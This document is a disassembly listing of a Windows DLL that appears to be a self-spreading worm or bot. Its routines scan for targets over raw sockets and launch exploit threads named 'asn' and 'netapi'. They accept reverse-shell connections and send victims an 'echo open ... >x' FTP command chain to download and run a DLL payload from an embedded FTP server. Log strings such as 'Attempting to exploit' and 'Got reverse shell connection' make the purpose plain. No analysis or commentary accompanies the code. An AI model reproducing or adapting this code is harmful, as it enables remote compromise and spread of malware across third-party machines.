sub_10009B12 proc near ; DATA XREF: sub_10009B00+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D13E
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_10009B12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10009B22(char *Src)
sub_10009B22 proc near ; CODE XREF: sub_10009B22+F6p
; sub_10009EF0+276p
cp = byte ptr -20h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], 0FFFFFFFFh
mov [ebp+var_10], 0FFFFFFFFh
lea eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_C]
push ecx
lea edx, [ebp+var_8]
push edx
lea eax, [ebp+var_4]
push eax
push offset aD_D_D_D_5 ; "%d.%d.%d.%d"
mov ecx, [ebp+Src]
push ecx ; Src
call ds:sscanf ; sscanf
add esp, 18h
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_10009B7E
push 0FFh
push 0
call sub_10004608
add esp, 8
mov [ebp+var_4], eax
loc_10009B7E: ; CODE XREF: sub_10009B22+48j
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_10009B96
push 0FFh
push 0
call sub_10004608
add esp, 8
mov [ebp+var_8], eax
loc_10009B96: ; CODE XREF: sub_10009B22+60j
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_10009BAE
push 0FFh
push 0
call sub_10004608
add esp, 8
mov [ebp+var_C], eax
loc_10009BAE: ; CODE XREF: sub_10009B22+78j
cmp [ebp+var_10], 0FFFFFFFFh
jnz short loc_10009BC6
push 0FFh
push 0
call sub_10004608
add esp, 8
mov [ebp+var_10], eax
loc_10009BC6: ; CODE XREF: sub_10009B22+90j
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_4]
push edx
push offset aD_D_D_D_6 ; "%d.%d.%d.%d"
push 10h ; Count
lea eax, [ebp+cp]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
push offset Dest ; Str2
lea ecx, [ebp+cp]
push ecx ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jz short loc_10009C14
push offset byte_1002C5D8 ; Str2
lea edx, [ebp+cp]
push edx ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_10009C22
loc_10009C14: ; CODE XREF: sub_10009B22+DBj
mov eax, [ebp+Src]
push eax ; Src
call sub_10009B22
add esp, 4
jmp short loc_10009C2C
; ---------------------------------------------------------------------------
loc_10009C22: ; CODE XREF: sub_10009B22+F0j
lea ecx, [ebp+cp]
push ecx ; cp
call ds:inet_addr ; inet_addr
loc_10009C2C: ; CODE XREF: sub_10009B22+FEj
mov esp, ebp
pop ebp
retn
sub_10009B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009C30 proc near ; CODE XREF: sub_10009EF0+49p
DstBuf = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebp
mov ebp, esp
sub esp, 14h
push offset aFtpd ; "ftpd"
call sub_1000A7E9
add esp, 4
test eax, eax
jnz loc_10009CE5
push 0EA60h
push 7D0h
call sub_10004608
add esp, 8
mov word ptr [ebp+var_8], ax
mov byte ptr [ebp+var_8+2], 0
push 0Ah ; Radix
lea eax, [ebp+DstBuf]
push eax ; DstBuf
mov ecx, [ebp+var_8]
and ecx, 0FFFFh
push ecx ; Val
call ds:_itoa ; _itoa
add esp, 0Ch
push eax ; int
push offset aFtpd_0 ; "ftpd"
call sub_1000A752
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_10009C99
xor al, al
jmp short loc_10009CE7
; ---------------------------------------------------------------------------
loc_10009C99: ; CODE XREF: sub_10009C30+63j
lea edx, [ebp+var_C]
push edx
push offset sub_10005C3D
call sub_10004C65
add esp, 8
mov ecx, [ebp+var_C]
imul ecx, 0CCh
mov dword_10012EA0[ecx], eax
mov edx, [ebp+var_C]
imul edx, 0CCh
cmp dword_10012EA0[edx], 0
jnz short loc_10009CCF
xor al, al
jmp short loc_10009CE7
; ---------------------------------------------------------------------------
loc_10009CCF: ; CODE XREF: sub_10009C30+99j
; sub_10009C30+B3j
mov eax, [ebp+var_8+2]
and eax, 0FFh
test eax, eax
jnz short loc_10009CE5
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10009CCF
; ---------------------------------------------------------------------------
loc_10009CE5: ; CODE XREF: sub_10009C30+15j
; sub_10009C30+A9j
mov al, 1
loc_10009CE7: ; CODE XREF: sub_10009C30+67j
; sub_10009C30+9Dj
mov esp, ebp
pop ebp
retn
sub_10009C30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10009CEB(int,u_short hostshort)
sub_10009CEB proc near ; CODE XREF: sub_10003D60+3CEp
Dest = byte ptr -1424h
s = dword ptr -1414h
buf = byte ptr -1410h
Str = byte ptr -410h
name = sockaddr ptr -10h
arg_0 = dword ptr 8
hostshort = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1424h
call __alloca_probe
push 0 ; protocol
push 1 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jnz short loc_10009D1A
xor al, al
jmp loc_10009E2C
; ---------------------------------------------------------------------------
loc_10009D1A: ; CODE XREF: sub_10009CEB+26j
mov [ebp+name.sa_family], 2
mov ax, [ebp+hostshort]
push eax ; hostshort
call ds:htons ; htons
mov word ptr [ebp+name.sa_data], ax
mov ecx, [ebp+arg_0]
mov dword ptr [ebp+name.sa_data+2], ecx
push 8 ; Size
push 0 ; Val
lea edx, [ebp+name.sa_data+6]
push edx ; Dst
call memset ; memset
add esp, 0Ch
push 10h ; namelen
lea eax, [ebp+name]
push eax ; name
mov ecx, [ebp+s]
push ecx ; s
call ds:connect ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_10009D71
mov edx, [ebp+s]
push edx ; s
call ds:closesocket ; closesocket
xor al, al
jmp loc_10009E2C
; ---------------------------------------------------------------------------
loc_10009D71: ; CODE XREF: sub_10009CEB+70j
push 0 ; flags
push 1000h ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:recv ; recv
test eax, eax
jg short loc_10009DA4
mov edx, [ebp+s]
push edx ; s
call ds:closesocket ; closesocket
xor al, al
jmp loc_10009E2C
; ---------------------------------------------------------------------------
loc_10009DA4: ; CODE XREF: sub_10009CEB+A3j
call sub_10006FA2
push eax
push offset aS_dll_7 ; "%s.dll"
push 10h ; Count
lea eax, [ebp+Dest]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea ecx, [ebp+Dest]
push ecx
lea edx, [ebp+Dest]
push edx
xor eax, eax
mov ax, hostshort
push eax
push offset Dest
push offset aEchoOpenSHuXEc ; "echo open %s %hu>x&echo user x x>>x&ech"...
push 400h ; Count
lea ecx, [ebp+Str]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
push 0 ; flags
lea edx, [ebp+Str]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+Str]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
mov edx, [ebp+s]
push edx ; s
call ds:closesocket ; closesocket
mov al, 1
loc_10009E2C: ; CODE XREF: sub_10009CEB+2Aj
; sub_10009CEB+81j ...
mov esp, ebp
pop ebp
retn
sub_10009CEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009E30 proc near ; CODE XREF: sub_10009EF0+27Fp
s = dword ptr -48h
optval = byte ptr -44h
var_40 = dword ptr -40h
to = sockaddr ptr -3Ch
var_2C = dword ptr -2Ch
buf = byte ptr -28h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
mov dword ptr [ebp+optval], 1
mov [ebp+var_40], 10h
push offset Dest ; cp
call ds:inet_addr ; inet_addr
mov [ebp+var_2C], eax
push 0 ; protocol
push 3 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jnz short loc_10009E6C
jmp loc_10009EEC
; ---------------------------------------------------------------------------
loc_10009E6C: ; CODE XREF: sub_10009E30+35j
push 4 ; optlen
lea eax, [ebp+optval]
push eax ; optval
push 2 ; optname
push 0 ; level
mov ecx, [ebp+s]
push ecx ; s
call ds:setsockopt ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_10009E87
jmp short loc_10009EEC
; ---------------------------------------------------------------------------
loc_10009E87: ; CODE XREF: sub_10009E30+53j
mov [ebp+to.sa_family], 2
mov word ptr [ebp+to.sa_data], 0
mov edx, [ebp+arg_0]
mov dword ptr [ebp+to.sa_data+2], edx
push 8 ; Size
push 0 ; Val
lea eax, [ebp+to.sa_data+6]
push eax ; Dst
call memset ; memset
add esp, 0Ch
mov cx, [ebp+arg_4]
push ecx ; __int16
mov dx, word_1002D13C
push edx ; hostshort
mov eax, [ebp+arg_0]
push eax ; int
mov ecx, [ebp+var_2C]
push ecx ; int
lea edx, [ebp+buf]
push edx ; int
call sub_10006D53
add esp, 14h
push 10h ; tolen
lea eax, [ebp+to]
push eax ; to
push 0 ; flags
push 28h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:sendto ; sendto
mov eax, [ebp+s]
push eax ; s
call ds:closesocket ; closesocket
loc_10009EEC: ; CODE XREF: sub_10009E30+37j
; sub_10009E30+55j
mov esp, ebp
pop ebp
retn
sub_10009E30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10009EF0 proc near ; DATA XREF: sub_10007424+20CEo
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
DstBuf = byte ptr -7Ch
hObject = dword ptr -74h
var_70 = word ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
dwMilliseconds = dword ptr -64h
var_60 = word ptr -60h
var_5E = dword ptr -5Eh
Str2 = byte ptr -5Ah
Src = byte ptr -1Ah
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
push edi
mov esi, [ebp+arg_0]
mov ecx, 1Ah
lea edi, [ebp+var_68]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_6C], eax
mov ecx, [ebp+var_6C]
mov byte ptr [ecx+5Fh], 1
call ds:GetTickCount ; GetTickCount
push eax ; Seed
call ds:srand ; srand
add esp, 4
mov dx, [ebp+var_60]
mov [ebp+var_70], dx
movsx eax, [ebp+Str2]
test eax, eax
jz loc_1000A06A
call sub_10009C30
and eax, 0FFh
test eax, eax
jnz short loc_10009F60
push 1
mov ecx, [ebp+var_68]
push ecx
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_10009F60: ; CODE XREF: sub_10009EF0+55j
lea edx, [ebp+Str2]
push edx ; Str2
push offset aMsdtc ; "msdtc"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz loc_1000A06A
push offset aRshell ; "rshell"
call sub_1000A7E9
add esp, 4
test eax, eax
jnz loc_1000A06A
push 0EA60h
push 7D0h
call sub_10004608
add esp, 8
mov Val, ax
mov byte ptr [ebp+var_80], 0
push 0Ah ; Radix
lea eax, [ebp+DstBuf]
push eax ; DstBuf
xor ecx, ecx
mov cx, Val
push ecx ; Val
call ds:_itoa ; _itoa
add esp, 0Ch
push eax ; int
push offset aRshell_0 ; "rshell"
call sub_1000A752
add esp, 8
mov [ebp+var_84], eax
cmp [ebp+var_84], 0FFFFFFFFh
jnz short loc_10009FFC
push 1
mov edx, [ebp+var_84]
push edx
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_10009FFC: ; CODE XREF: sub_10009EF0+EEj
lea eax, [ebp+var_84]
push eax
push offset sub_1000A50C
call sub_10004C65
add esp, 8
mov ecx, [ebp+var_84]
imul ecx, 0CCh
mov dword_10012EA0[ecx], eax
mov edx, [ebp+var_84]
imul edx, 0CCh
cmp dword_10012EA0[edx], 0
jnz short loc_1000A053
push 1
mov eax, [ebp+var_84]
push eax
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_1000A053: ; CODE XREF: sub_10009EF0+145j
; sub_10009EF0+178j
mov ecx, [ebp+var_80]
and ecx, 0FFh
test ecx, ecx
jnz short loc_1000A06A
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_1000A053
; ---------------------------------------------------------------------------
loc_1000A06A: ; CODE XREF: sub_10009EF0+43j
; sub_10009EF0+83j ...
push 0EA60h
push 7D0h
call sub_10004608
add esp, 8
mov word_1002D13C, ax
mov byte ptr [ebp+var_8], 0
lea edx, [ebp+var_68]
push edx
push offset sub_1000A1A9
call sub_10004C65
add esp, 8
mov [ebp+hObject], eax
cmp [ebp+hObject], 0
jnz short loc_1000A0AB
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_1000A0AB: ; CODE XREF: sub_10009EF0+1AEj
mov eax, [ebp+hObject]
push eax ; hObject
call ds:CloseHandle ; CloseHandle
loc_1000A0B5: ; CODE XREF: sub_10009EF0+1DAj
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jnz short loc_1000A0CC
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_1000A0B5
; ---------------------------------------------------------------------------
loc_1000A0CC: ; CODE XREF: sub_10009EF0+1D0j
; sub_10009EF0+291j
mov edx, 1
test edx, edx
jz loc_1000A186
mov eax, [ebp+var_5E]
and eax, 0FFFFh
test eax, eax
jz short loc_1000A15D
mov ecx, [ebp+var_5E+2]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_1000A106
push 2
push 0
call sub_10004608
add esp, 8
mov [ebp+var_88], eax
jmp short loc_1000A118
; ---------------------------------------------------------------------------
loc_1000A106: ; CODE XREF: sub_10009EF0+200j
push 2
push 0
call sub_10004608
add esp, 8
mov [ebp+var_88], eax
loc_1000A118: ; CODE XREF: sub_10009EF0+214j
mov edx, [ebp+var_88]
mov [ebp+var_8C], edx
cmp [ebp+var_8C], 0
jz short loc_1000A141
cmp [ebp+var_8C], 1
jz short loc_1000A14B
cmp [ebp+var_8C], 2
jz short loc_1000A155
jmp short loc_1000A15D
; ---------------------------------------------------------------------------
loc_1000A141: ; CODE XREF: sub_10009EF0+23Bj
mov ax, [ebp+var_60]
mov [ebp+var_70], ax
jmp short loc_1000A15D
; ---------------------------------------------------------------------------
loc_1000A14B: ; CODE XREF: sub_10009EF0+244j
mov cx, word ptr [ebp+var_5E]
mov [ebp+var_70], cx
jmp short loc_1000A15D
; ---------------------------------------------------------------------------
loc_1000A155: ; CODE XREF: sub_10009EF0+24Dj
mov dx, word ptr [ebp+var_5E+2]
mov [ebp+var_70], dx
loc_1000A15D: ; CODE XREF: sub_10009EF0+1F3j
; sub_10009EF0+24Fj ...
mov ax, [ebp+var_70]
push eax
lea ecx, [ebp+Src]
push ecx ; Src
call sub_10009B22
add esp, 4
push eax
call sub_10009E30
add esp, 8
mov edx, [ebp+dwMilliseconds]
push edx ; dwMilliseconds
call ds:Sleep ; Sleep
jmp loc_1000A0CC
; ---------------------------------------------------------------------------
loc_1000A186: ; CODE XREF: sub_10009EF0+1E3j
push 1
mov eax, [ebp+var_68]
push eax
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
sub_10009EF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A1A9 proc near ; DATA XREF: sub_10009EF0+19Ao
var_100A0 = word ptr -100A0h
var_1009C = dword ptr -1009Ch
var_10098 = dword ptr -10098h
argp = dword ptr -10094h
s = dword ptr -10090h
hObject = dword ptr -1008Ch
var_10088 = dword ptr -10088h
in = in_addr ptr -10084h
var_10080 = dword ptr -10080h
var_1007C = byte ptr -1007Ch
var_10074 = dword ptr -10074h
Str1 = byte ptr -10070h
buf = byte ptr -10014h
var_10000 = byte ptr -10000h
name = sockaddr ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 100A0h
call __alloca_probe
push esi
push edi
mov [ebp+argp], 1
mov esi, [ebp+arg_0]
mov ecx, 1Ah
lea edi, [ebp+var_1007C]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_10080], eax
mov ecx, [ebp+var_10080]
mov byte ptr [ecx+60h], 1
push 0 ; protocol
push 3 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jnz short loc_1000A20B
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_1000A20B: ; CODE XREF: sub_1000A1A9+55j
mov [ebp+name.sa_family], 2
mov word ptr [ebp+name.sa_data], 0
push offset Dest ; cp
call ds:inet_addr ; inet_addr
mov dword ptr [ebp+name.sa_data+2], eax
push 8 ; Size
push 0 ; Val
lea edx, [ebp+name.sa_data+6]
push edx ; Dst
call memset ; memset
add esp, 0Ch
push 10h ; namelen
lea eax, [ebp+name]
push eax ; name
mov ecx, [ebp+s]
push ecx ; s
call ds:bind ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_1000A265
mov edx, [ebp+s]
push edx ; s
call ds:closesocket ; closesocket
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_1000A265: ; CODE XREF: sub_1000A1A9+A2j
lea eax, [ebp+argp]
push eax ; argp
push 98000001h ; cmd
mov ecx, [ebp+s]
push ecx ; s
call ds:ioctlsocket ; ioctlsocket
cmp eax, 0FFFFFFFFh
jnz short loc_1000A29B
mov edx, [ebp+s]
push edx ; s
call ds:closesocket ; closesocket
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_1000A29B: ; CODE XREF: sub_1000A1A9+D8j
; sub_1000A1A9+14Ej ...
xor eax, eax
mov al, byte_1002D0F6
test eax, eax
jz loc_1000A4EA
push 0 ; flags
push 0FFFFh ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:recv ; recv
test eax, eax
jg short loc_1000A2E1
mov eax, [ebp+s]
push eax ; s
call ds:closesocket ; closesocket
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_1000A2E1: ; CODE XREF: sub_1000A1A9+11Ej
lea ecx, [ebp+buf]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx+9]
cmp eax, 6
jz short loc_1000A2F9
jmp short loc_1000A29B
; ---------------------------------------------------------------------------
loc_1000A2F9: ; CODE XREF: sub_1000A1A9+14Cj
lea ecx, [ebp+var_10000]
mov [ebp+var_10088], ecx
mov edx, [ebp+var_10088]
xor eax, eax
mov al, [edx+0Dh]
cmp eax, 12h
jnz loc_1000A4E5
mov ecx, [ebp+var_10088]
mov dx, [ecx+2]
push edx ; netshort
call ds:ntohs ; ntohs
and eax, 0FFFFh
xor ecx, ecx
mov cx, word_1002D13C
cmp eax, ecx
jnz loc_1000A4E5
mov edx, [ebp+var_10088]
mov ax, [edx]
push eax ; netshort
call ds:ntohs ; ntohs
and eax, 0FFFFh
mov ecx, [ebp+var_10074]
and ecx, 0FFFFh
cmp eax, ecx
jz short loc_1000A3B3
mov edx, [ebp+var_10088]
mov ax, [edx]
push eax ; netshort
call ds:ntohs ; ntohs
and eax, 0FFFFh
mov ecx, [ebp+var_10074+2]
and ecx, 0FFFFh
cmp eax, ecx
jz short loc_1000A3B3
mov edx, [ebp+var_10088]
mov ax, [edx]
push eax ; netshort
call ds:ntohs ; ntohs
and eax, 0FFFFh
mov ecx, dword ptr [ebp+Str1]
and ecx, 0FFFFh
cmp eax, ecx
jnz loc_1000A4E5
loc_1000A3B3: ; CODE XREF: sub_1000A1A9+1BAj
; sub_1000A1A9+1DFj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
mov dword ptr [ebp+in.S_un], eax
movsx ecx, [ebp+Str1+2]
test ecx, ecx
jz loc_1000A4AF
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
mov [ebp+var_1009C], eax
mov ecx, [ebp+var_10088]
mov dx, [ecx]
push edx ; netshort
call ds:ntohs ; ntohs
mov [ebp+var_100A0], ax
mov byte ptr [ebp+var_10098], 0
push offset aAsn_1 ; "asn"
lea eax, [ebp+Str1+2]
push eax ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_1000A447
lea ecx, [ebp+var_100A0]
push ecx
push offset sub_10001EBF
call sub_10004C65
add esp, 8
mov [ebp+hObject], eax
cmp [ebp+hObject], 0
jnz short loc_1000A438
jmp loc_1000A29B
; ---------------------------------------------------------------------------
loc_1000A438: ; CODE XREF: sub_1000A1A9+288j
mov edx, [ebp+hObject]
push edx ; hObject
call ds:CloseHandle ; CloseHandle
jmp short loc_1000A494
; ---------------------------------------------------------------------------
loc_1000A447: ; CODE XREF: sub_1000A1A9+265j
push offset aNetapi_1 ; "netapi"
lea eax, [ebp+Str1+2]
push eax ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_1000A494
lea ecx, [ebp+var_100A0]
push ecx
push offset sub_10003D60
call sub_10004C65
add esp, 8
mov [ebp+hObject], eax
cmp [ebp+hObject], 0
jnz short loc_1000A487
jmp loc_1000A29B
; ---------------------------------------------------------------------------
loc_1000A487: ; CODE XREF: sub_1000A1A9+2D7j
mov edx, [ebp+hObject]
push edx ; hObject
call ds:CloseHandle ; CloseHandle
loc_1000A494: ; CODE XREF: sub_1000A1A9+29Cj
; sub_1000A1A9+2B4j ...
mov eax, [ebp+var_10098]
and eax, 0FFh
test eax, eax
jnz short loc_1000A4AD
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_1000A494
; ---------------------------------------------------------------------------
loc_1000A4AD: ; CODE XREF: sub_1000A1A9+2F8j
jmp short loc_1000A4E5
; ---------------------------------------------------------------------------
loc_1000A4AF: ; CODE XREF: sub_1000A1A9+21Fj
mov ecx, dword ptr [ebp+in.S_un]
push ecx ; in
call ds:inet_ntoa ; inet_ntoa
push eax
mov edx, [ebp+var_10088]
mov ax, [edx]
push eax ; netshort
call ds:ntohs ; ntohs
and eax, 0FFFFh
push eax ; char
push offset aHuAttemptingTo ; "%hu | Attempting to exploit %s"
push offset dword_1002C7E8 ; int
call sub_10007303
add esp, 10h
loc_1000A4E5: ; CODE XREF: sub_1000A1A9+16Aj
; sub_1000A1A9+191j ...
jmp loc_1000A29B
; ---------------------------------------------------------------------------
loc_1000A4EA: ; CODE XREF: sub_1000A1A9+FBj
mov ecx, [ebp+s]
push ecx ; s
call ds:closesocket ; closesocket
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
sub_1000A1A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A50C proc near ; DATA XREF: sub_10009EF0+113o
Dest = byte ptr -44Ch
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
s = dword ptr -434h
var_430 = dword ptr -430h
addr = sockaddr ptr -42Ch
in = in_addr ptr -41Ch
addrlen = dword ptr -418h
buf = byte ptr -414h
var_14 = dword ptr -14h
name = sockaddr ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 44Ch
mov [ebp+addrlen], 10h
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov edx, [eax+4]
mov [ebp+var_43C], ecx
mov [ebp+var_438], edx
mov eax, [ebp+arg_0]
mov [ebp+var_430], eax
mov ecx, [ebp+var_430]
mov byte ptr [ecx+4], 1
push 0 ; protocol
push 1 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jnz short loc_1000A57D
push 1
mov edx, [ebp+var_43C]
push edx
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_1000A57D: ; CODE XREF: sub_1000A50C+53j
mov [ebp+name.sa_family], 2
mov ax, Val
push eax ; hostshort
call ds:htons ; htons
mov word ptr [ebp+name.sa_data], ax
mov dword ptr [ebp+name.sa_data+2], 0
push 8 ; Size
push 0 ; Val
lea ecx, [ebp+name.sa_data+6]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
loc_1000A5AB: ; CODE XREF: sub_1000A50C+C2j
push 10h ; namelen
lea edx, [ebp+name]
push edx ; name
mov eax, [ebp+s]
push eax ; s
call ds:bind ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_1000A5D0
push 1388h ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_1000A5AB
; ---------------------------------------------------------------------------
loc_1000A5D0: ; CODE XREF: sub_1000A50C+B5j
push 0Ah ; backlog
mov ecx, [ebp+s]
push ecx ; s
call ds:listen ; listen
loc_1000A5DF: ; CODE XREF: sub_1000A50C+104j
; sub_1000A50C+1B3j
mov edx, 1
test edx, edx
jz loc_1000A6C4
lea eax, [ebp+addrlen]
push eax ; addrlen
lea ecx, [ebp+addr]
push ecx ; addr
mov edx, [ebp+s]
push edx ; s
call ds:accept ; accept
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_1000A612
jmp short loc_1000A5DF
; ---------------------------------------------------------------------------
loc_1000A612: ; CODE XREF: sub_1000A50C+102j
mov eax, dword ptr [ebp+addr.sa_data+2]
mov dword ptr [ebp+in.S_un], eax
mov ecx, dword ptr [ebp+in.S_un]
push ecx ; in
call ds:inet_ntoa ; inet_ntoa
push eax ; char
push offset aGotReverseShel ; "[+] Got reverse shell connection from %"...
push offset dword_1002C7E8 ; int
call sub_10007303
add esp, 0Ch
call sub_10006FA2
push eax
push offset aS_dll_8 ; "%s.dll"
push 10h ; Count
lea edx, [ebp+Dest]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
lea ecx, [ebp+Dest]
push ecx
xor edx, edx
mov dx, hostshort
push edx
push offset Dest
push offset aEchoOpenSHuX_0 ; "echo open %s %hu>x&echo user x x>>x&ech"...
push 400h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+var_14]
push eax ; s
call ds:send ; send
mov ecx, [ebp+var_14]
push ecx ; s
call ds:closesocket ; closesocket
jmp loc_1000A5DF
; ---------------------------------------------------------------------------
loc_1000A6C4: ; CODE XREF: sub_1000A50C+DAj
mov esp, ebp
pop ebp
retn 4
sub_1000A50C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A6D0 proc near ; DATA XREF: .data:1000E05Co
push ebp
mov ebp, esp
call sub_1000A6DF
call sub_1000A6EF
pop ebp
retn
sub_1000A6D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A6DF proc near ; CODE XREF: sub_1000A6D0+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D149
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_1000A6DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A6EF proc near ; CODE XREF: sub_1000A6D0+8p
push ebp
mov ebp, esp
push offset sub_1000A701 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000A6EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_1000A701()
sub_1000A701 proc near ; DATA XREF: sub_1000A6EF+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D149
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_1000A701 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A711 proc near ; DATA XREF: .data:1000E060o
push ebp
mov ebp, esp
call sub_1000A720
call sub_1000A730
pop ebp
retn
sub_1000A711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A720 proc near ; CODE XREF: sub_1000A711+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D148
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_1000A720 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A730 proc near ; CODE XREF: sub_1000A711+8p
push ebp
mov ebp, esp
push offset sub_1000A742 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000A730 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_1000A742()
sub_1000A742 proc near ; DATA XREF: sub_1000A730+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D148
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_1000A742 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_1000A752(char *Source,int)
